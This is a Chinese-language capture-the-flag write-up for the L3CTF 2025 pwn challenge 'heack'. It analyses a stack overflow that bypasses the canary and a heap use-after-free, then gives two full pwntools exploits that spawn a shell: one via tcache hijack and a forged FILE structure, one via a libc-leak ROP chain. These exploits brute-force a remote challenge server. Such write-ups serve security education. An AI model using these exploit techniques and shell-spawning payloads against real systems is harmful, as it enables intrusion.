[L3CTF 2025]-heack

heack

Arch:       amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:         NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:   No

libc 版本:Ubuntu GLIBC 2.39-0ubuntu8.4,用 Ubuntu 24.04 刚好版本一致。

int __fastcall main(int argc, const char **argv, const char **envp)
{
 init(argc, argv, envp);
 printf("Welcome To L3HCTF!");
 game();
 printf("Have a nice day.");
 return 0;
}

主要逻辑在 game() 函数:

__int64 game()
{
...

 v9 = __readfsqword(0x28u);
 memset(s, 0, 0xA8uLL);
 v5 = 19533573;
 v6 = 2035549;
 v7 = 20250712;
 printf("Data: %d\n", 20250712);
 puts("As the chosen hero, you must conquer the fearsome dragon that threatens our kingdom!");
 while ( 1 )
{
   print_menu();
   int_4bytes = read_int_4bytes();
   switch ( int_4bytes )
  {
     case 1:
       fight_dragon(combp);
       exit(0);
     case 2:
       puts("\n[Attack Training]");
       ++atk;
       combp += 0x10LL;
       printf("[Attack]: %lu\n", atk);
       break;
     case 3:
       puts("\n[HP Training]");
       ++hp;
       combp += 0x100LL;
       printf("[HP]: %lu\n", hp);
       break;
     case 4:
       puts("\n[Status] Displaying hero stats...");
       printf("[HP]: %lu\n", hp);
       printf("[Attack]: %lu\n", atk);
       printf("[Combat Power]: %lu\n", combp);
       printf("Hint: To defeat the mighty dragon, ensure your HP and Attack both exceed 93!");
       break;
     case 5:
       note_system((__int64)s);
       break;
     default:
       return sad();
  }
}
}

case 2 加 atk 同时加 0x10 的 combp,case 3 加 hp 同时加 0x100 的 combp,case 4 显示三个状态值。

case 1 跟龙战斗的逻辑:

__int64 __fastcall fight_dragon(unsigned __int64 combp)
{
 int v1; // eax
 _BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
 unsigned int v4; // [rsp+114h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+118h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 puts("\n[Battle] Engaging the dragon!");
 puts("As you lay eyes upon the dread dragon, your blood boils with the urge to challenge it!");
 printf("You grip your sword and shout:");
 v4 = 0;
 while ( read(0, buf, 1uLL) == 1 && buf[0] != '\n' )// 循环读入,直至回车
{
   v1 = v4++;
   buf[v1 + 1] = buf[0];                       // 从下标1开始读入
}
 if ( combp <= 0xFFFF )
{
   puts("TRIP ATTACK! (Critical Hit)\nYour fumbling dagger strike somehow finds the dragon's vulnerability!");
   puts("◼ 10000 EXP\n◼ Achievement Unlocked: Dumb Luck");
}
 else
{
   puts("\nThe mighty dragon takes one look at you, whimpers, and bolts away like a scared kitten. You win... by default?");
}
 return v4;
}

buf 处有栈溢出漏洞。

while ( read(0, buf, 1uLL) == 1 && buf[0] != '\n' )// 循环读入,直至回车
{
   v1 = v4++;
   buf[v1 + 1] = buf[0];                       // 从下标1开始读入
}

注意这种读入方式出现的漏洞:变量 v4 也是在栈上的,所以读入的 buf 能溢出到 v4 的空间,从而控制读入的下标,进而越过 canary 保护修改栈上内容,比如返回地址。

v4: rbp-0xc

buf: rbp-0x110

buf 空间有 0x104,但是开头的一字节空间是用来缓存的,所以实际上只能输入 0x103 字节的 padding,再输入 1 字节的 v4 末位值,最后填需要篡改的返回地址末位值。

假设我们提前知道要跳转到 loc_129A 的地方:

首先输入 0x103 字节的垃圾字符,此时 v4 = 0x103,开始读入第 0x104 个字符,而我们的目标即返回地址在 buf[0x118] 处(rbp 向上 0x110 Bytes, rbp 向下 0x8 Bytes 是给 save_rbp 的,一共 0x118 Bytes,因为下标从 0 开始所以是占据 buf[0] – buf[0x117],进而要覆盖的返回地址在 buf[0x118]),于是第 0x104 个字节应该填充 0x17,让 v4 = 0x117,进而在下一轮让 v1 = 0x117,buf[v1 + 1] = buf[0] 就会覆盖返回地址的末字节。又由于小端序,在下一轮恰好又能覆盖返回地址的倒数第二个字节。

payload = b'a'*0x103+p8(0x17)+p16(0x129A)

倒数第四位(129A的1)其实是不确定的,调试的时候可以把 ASLR 关了来确定是哪一位,打远程的时候就只能爆破。

case 5,熟悉的菜单堆题模式:

void __fastcall note_system(__int64 mem)
{
 int choice; // [rsp+14h] [rbp-2Ch]
 int num2; // [rsp+18h] [rbp-28h]
 int num3; // [rsp+18h] [rbp-28h]
 int num1; // [rsp+18h] [rbp-28h]
 unsigned int size; // [rsp+1Ch] [rbp-24h]
 size_t remain_size; // [rsp+20h] [rbp-20h]
 ssize_t v7; // [rsp+28h] [rbp-18h]

 while ( 1 )
{
   puts("\nDuring your grueling training, you feel compelled to document your thoughts...");
   puts("1. Write a new diary entry");
   puts("2. Destroy a diary entry");
   puts("3. View a diary entry");
   puts("4. Exit");
   printf("Choose an option: ");
   choice = read_int_4bytes();
   if ( choice == 4 )
     break;
   if ( choice > 4 )
     goto LABEL_28;
   switch ( choice )
  {
     case 3:                                   // 查看内容
       printf("Enter index to view (0-%d): ", 15);// 最多16个note
       num1 = read_int_4bytes();
       if ( (unsigned int)num1 < 0x10 )
      {
         if ( *(_QWORD *)(8LL * num1 + mem) )  // 8个字节一组,每个地方放一个地址
        {
           printf("\n--- Diary Entry %d ---\n", num1);
           puts(*(const char **)(8LL * num1 + mem));
           puts("----------------------");
        }
         else
        {
LABEL_21:
           puts("No diary exists at this index.");
        }
      }
       else
      {
LABEL_23:
         puts("Invalid index!");
      }
       break;
     case 1:                                   // 创建note
       printf("Enter index (0-%d): ", 15);
       num2 = read_int_4bytes();
       if ( (unsigned int)num2 >= 0x10 )
         goto LABEL_23;
       if ( *(_QWORD *)(8LL * num2 + mem) )
      {
         puts("This slot already contains a diary. Destroy it first.");
      }
       else
      {
         printf("Enter diary content size (1-2048): ");
         size = read_int_4bytes();
         if ( size && size <= 0x800 )          // size不能超过0x800
        {
           *(_QWORD *)(8LL * num2 + mem) = malloc(size + 1);// 多malloc 1个字节
           if ( *(_QWORD *)(8LL * num2 + mem) )
          {
             remain_size = malloc_usable_size(*(void **)(8LL * num2 + mem));// malloc_usable_size返回该内存块的实际可用字节数
             memset(*(void **)(8LL * num2 + mem), 0, remain_size);
             printf("Input your content: ");
             v7 = read(0, *(void **)(8LL * num2 + mem), size);
             if ( v7 <= 0 )
            {
               puts("Read failed!");
               free(*(void **)(8LL * num2 + mem));// UAF
               return;
            }
             *(_BYTE *)(*(_QWORD *)(8LL * num2 + mem) + v7) = 0;
             printf("Diary saved at index %d!\n", num2);
             puts("You steel your resolve - these memoirs shall remain sealed until the dragon lies vanquished.");
          }
           else
          {
             puts("Failed to allocate memory for diary!");
          }
        }
         else
        {
           puts("Invalid size!");
        }
      }
       break;
     case 2:
       printf("Enter index to destroy (0-%d): ", 15);
       num3 = read_int_4bytes();
       if ( (unsigned int)num3 >= 0x10 )
         goto LABEL_23;
       if ( !*(_QWORD *)(8LL * num3 + mem) )
         goto LABEL_21;
       free(*(void **)(8LL * num3 + mem));
       *(_QWORD *)(8LL * num3 + mem) = 0LL;
       printf("Diary at index %d has been destroyed.\n", num3);
       break;
     default:
LABEL_28:
       puts("Invalid choice!");
       break;
  }
}
 puts("Exiting diary system. Goodbye, hero!");
}

case 1:创建 chunk,最多 16 个,大小在 0 – 0x800,可疑点:malloc 的时候会多 malloc 一个字节:

*(_QWORD *)(8LL * num2 + mem) = malloc(size + 1);

并且读取内容失败的时候会释放内存,此处存在 UAF 漏洞(但是似乎无法利用):

printf("Input your content: ");
v7 = read(0, *(void **)(8LL * num2 + mem), size);
if ( v7 <= 0 )
{
   puts("Read failed!");
   free(*(void **)(8LL * num2 + mem));
   return;
}

case 2:销毁 chunk,并且没有 UAF 漏洞。

case 3:查看 chunk 内容。

case 4:退出循环。

法1(打堆,然后 FSOP)

观察到 note_system 的参数是 chunk_list 的指针,并且在函数开头把这个指针,也就是 rdi 的值放在了栈上 rbp-0x38 的位置。而上面 fight_dragon() 函数的漏洞能既让我们布置栈内元素,还能实现返回地址篡改,于是我们可以先在 fight_dragon() 里在 rbp-0x38 的地方填上我们想要的地址,再跳转到 loc_129A 的地方,这样就能伪造 chunk_list.

看一下取数的具体逻辑,从 rbp-0x38 的地方取出地址赋给 rax,再加上偏移量 rdx,最后再取出值赋给 rax. 因此我们可以先:

add(15, 0x8)

这样就将 chunk_list 地址伪造成了堆块地址,然后就能根据偏移量读取堆中数据了。

add(15, 0x8)
add(14, 0x8)
add(13, 0x430)
add(12, 0x8)
add(11, 0x8)

第一个放在编号 15 的地方是因为 rbp-0x38 刚好在 s[15],14 和 12 是两个 padding 块,防止大堆块合并,13 号就是将来释放到 unsorted bin 里面的大堆块。再分别删除堆块:

delete(12)
delete(13)
delete(14)

现在存放在 chunk 15 里的即为堆块地址 0x5555555592a0,因此 show(8) 或者 show(9) 就能读出 main_arena+96 内存中的内容。

fight_dragon(b'a'*0x103+p8(0x17)+p16(0x529A))
show(8)

当然,这个 0x529A 的 5 是不确定的,最后需要爆破。

由此我们可以得到堆地址。

既然已经得到了堆地址,那么如法炮制可以通过 show 0x5555555592e0 上的内容来获取 libc 基地址。方法很简单,只需要再申请一块 0x8 大小的 chunk,这时候会申请到 chunk 14 的位置,再填入 0x5555555592e0,show(4) 即可泄露 main_arena+96 的地址值。

既然能 show 任意地址的内容,自然也能 free 任意地址的堆块。借此 free 掉 tcache_perthread_struct 进行 tcache_perthread_struct hijack,然后就可以申请到任意地址的堆块。这里选择申请到 _IO_list_all ,把 _IO_2_1_stderr_ 的地址改成可控的堆地址,随后进行 IOFILE 伪造,最后 exit 退出时调用 house of apple 2 链,拿到 shell. 星盟的 exp 没太看懂,他直接把 _IO_2_1_stdout_ 整个改掉了,最后好像是进的 vprintf 相关的链,甚至不用人为 exit,直接拿到 shell 了。

完整 exp:

from pwn import *

libc = ELF('./lib/libc.so.6')
elf = ELF('./vul2')

# local = 1
# if local == 1:
#     io = process('./vul2')
# else:
#     io = remote("43.138.2.216", 9999)

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io)
# gdb.attach(io, "b *$rebase(0x184f)")

def cmd(choice, prompt=b'> '):
   io.sendlineafter(prompt, str(choice).encode())
   
def fight_dragon(shout):
   cmd(1)
   io.sendlineafter(b'You grip your sword and shout:', shout)

def add_atk():
   cmd(2)
   
def add_hp():
   cmd(3)
   
def show_stats():
   cmd(4)

def note_sys():
   cmd(5)

def add(idx, size, content=b'a'):
   cmd(1, b"Choose an option: ")
   io.sendlineafter(b'Enter index (0-15): ', str(idx).encode())
   io.sendafter(b'Enter diary content size (1-2048): ', str(size).encode())
   io.sendafter(b'Input your content: ', content)
   
def delete(idx):
   cmd(2, b"Choose an option: ")
   io.sendlineafter(b'Enter index to destroy (0-15): ', str(idx).encode())
   
def show(idx):
   cmd(3, b"Choose an option: ")
   io.sendlineafter(b'Enter index to view (0-15): ', str(idx).encode())
   
def exit_note():
   cmd(4, b"Choose an option: ")
   
def pwn():
   # fight_dragon(b'a'*0x103 + b'\x17' + b'\x6d')
   note_sys()
   add(15, 0x8)   # chunk 0
   add(14, 0x8)   # chunk 1
   add(13, 0x430) # chunk 2
   add(12, 0x8)   # chunk 3
   add(11, 0x8)   # chunk 4
   delete(12)     # head -> chunk 3
   delete(13)     # chunk 2 in unsorted bin
   delete(14)     # head -> chunk 1 -> chunk 3
   exit_note()
   
   fight_dragon(b'a'*0x103 + b'\x17' + b'\x9a\x52')
   
   show(8)
   io.recvuntil(b'--- Diary Entry 8 ---\n')
   leak_heap = u64(io.recvline()[:-1].ljust(8, b'\x00'))
   log.info(f'Leak heap: {hex(leak_heap)}')
   heap_base = leak_heap - 0x750
   log.info(f'Heap base: {hex(heap_base)}')
   
   add(1, 0x8, p64(heap_base + 0x2e0))  # head -> chunk 3; get chunk 1
   show(4)
   io.recvuntil(b'--- Diary Entry 4 ---\n')
   leak_libc = u64(io.recvline()[:-1].ljust(8, b'\x00'))
   log.info(f'Leak libc: {hex(leak_libc)}')
   libc_base = leak_libc - 0x203b20
   libc.address = libc_base
   log.info(f'Libc base: {hex(libc_base)}')
   
   # tcache hijack + house of apple2
   # 既然能利用“借栈”漏洞去 leak 任意地址的信息,那么也能 free 任意地址的堆块
   delete(1)
   add(1, 0x8, p64(heap_base + 0x10))
   delete(4) # free tcache_perthread_struct
   # n_size = size//16-2
   # entry_size = 0x40 + (size//16-2)*8
   
   _IO_list_all = libc.symbols['_IO_list_all']
   _IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_']
   
   size = 0x20
   n_0x50 = size//8-4
   entry_0x50 = 0x80 + (size//16-2)*8
   
   add(2, 0x280, flat({
       n_0x50: b'\x01',
       entry_0x50: _IO_list_all
  }, filler=b'\x00'))
   
   
   _IO_wfile_jumps = libc.symbols['_IO_wfile_jumps']
   log.info(f'_IO_wfile_jumps: {hex(_IO_wfile_jumps)}')
   log.info(f'_IO_2_1_stdout_: {hex(_IO_2_1_stdout_)}')
   # pause()
   
   fake_file_addr = heap_base + 0x760
   
   fake_wide_offset = 0x100
   fake_wide_data = fake_file_addr + fake_wide_offset
   fake_vtable_offset = 0x200
   fake_vtable = fake_file_addr + fake_vtable_offset
   
   
   system_addr = libc.symbols['system']
   fake_io = flat({
       0x0:  ' sh',
       0x88: libc_base + 0x205710,
       0xc0: 1,
       0xd8: _IO_wfile_jumps - 0x40, # 动调找到偏移,事实证明在 2.35 和 2.39 版本都是这个偏移
       0xa0: fake_wide_data,
       
       # fake _IO_wide_data
       fake_wide_offset + 0x18 : 0,
       fake_wide_offset + 0x30 : 0,
       fake_wide_offset + 0xe0 : fake_vtable,
       
       # fake vtable
       fake_vtable_offset + 0x68 : system_addr
  }, filler = b'\x00')

   add(5, 0x8, p64(fake_file_addr))
   add(6, 0x500, fake_io)
   exit_note()

   io.interactive()
   
while True:
   try:
       io = remote("43.138.2.216", 9999)
       # io = remote("0.0.0.0", 10043)
       pwn()
       break
   except Exception as e:
       # log.error(f'Error: {e}')
       io.close()

leak 以后星盟的 exp:

    stdout = libc.address + 0x2045c0
   wfile_jump = libc.address + 0x202228
   fake_io = flat({
           0x0:b' sh',
           0xa0:p64(stdout),
           0x10:p64(libc.symbols['system']),
           0x20:p64(stdout),
           0xd8:p64(wfile_jump + 0x48 - 0x38),
           0x88:p64(stdout-0x30),
           0xe0:p64(stdout-8),
  },filler=b'\x00')
   delete(1)
   add(1, 8, p64(heap_base+0x10))
   delete(4)
   pay1 = b''
   pay1 = p16(0)*((0x400-0x20)//0x10)+p16(1)
   pay1 = pay1.ljust(0x270, b'\x00')+p64(stdout-0x10)
   add(2, 0x280, pay1)
   delete(1)
   add(1, 0x3f0, p64(0)*2+fake_io)
   
   
   io.interactive()

法2(打栈,直接 ROP)

利用 read 函数特性:处理完后,rsi 指向输入的内容。也就是从 fight_dragon 函数出来的时候 rsi 仍然是一个栈上的地址,这时候再利用 game() 中 printf(“%lu”) 的地方就可以把 rsi 的内容泄露出来,从而拿到 libc 基地址。进而再次进入 fight_dragon 进行 ROP.

这种方法跟法1同样需要爆破半个字节。

注意,如果使用法1泄露地址的话,因为栈已经被打乱,返回地址也弄丢了,你是回不到 game() 函数再进入 fight_dragon 函数打 ROP 的。

完整 exp:

from pwn import *

libc = ELF('./lib/libc.so.6')
elf = ELF('./vul2')

local = 1
if local == 1:
   io = process('./vul2')
else:
   io = remote("43.138.2.216", 9999)

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io)
gdb.attach(io, "b *$rebase(0x1816)")

def cmd(choice, prompt=b'> '):
   io.sendafter(prompt, str(choice).encode())
   
def fight_dragon(shout):
   cmd(1)
   io.sendlineafter(b'You grip your sword and shout:', shout)

def add_atk():
   cmd(2)
   
def add_hp():
   cmd(3)
   
def show_stats():
   cmd(4)

def note_sys():
   cmd(5)

def add(idx, size, content=b'a'):
   cmd(1, b"Choose an option: ")
   io.sendafter(b'Enter index (0-15): ', str(idx).encode())
   io.sendafter(b'Enter diary content size (1-2048): ', str(size).encode())
   io.sendafter(b'Input your content: ', content)
   
def delete(idx):
   cmd(2, b"Choose an option: ")
   io.sendlineafter(b'Enter index to destroy (0-15): ', str(idx).encode())
   
def show(idx):
   cmd(3, b"Choose an option: ")
   io.sendlineafter(b'Enter index to view (0-15): ', str(idx).encode())
   
def exit_note():
   cmd(4, b"Choose an option: ")
   
def pwn():
   # fight_dragon(b'a'*0x103 + b'\x17' + b'\x6d')
   # io.recvuntil(b'Data: ')
   fight_dragon(b'a'*0x103 + b'\x17' + b'\xad\x59')
   io.recvuntil(b'[Attack]: ')
   leak_libc = io.recvline()
   leak_libc = int(leak_libc[:-1])
   log.info(f'leak_libc: {hex(leak_libc)}')
   libc.address = leak_libc - 0x204643
   
   pop_rdi = libc.address + 0x000000000010f75b
   pop_rsi = libc.address + 0x0000000000110a4d
   bin_sh = libc.search(b'/bin/sh\x00').__next__()
   system = libc.sym['system']
   
   log.info(hex(bin_sh))
   log.info(hex(system))
   
   fight_dragon(flat(
       b'a'*0x103 + b'\x17',
       pop_rdi, bin_sh,
       pop_rdi + 1,
       system
  ))
   
   io.interactive()
   
pwn()
# while True:
#     try:
#         io = remote("43.138.2.216", 9999)
#         pwn()
#         break
#     except:
#         io.close()
上一篇
下一篇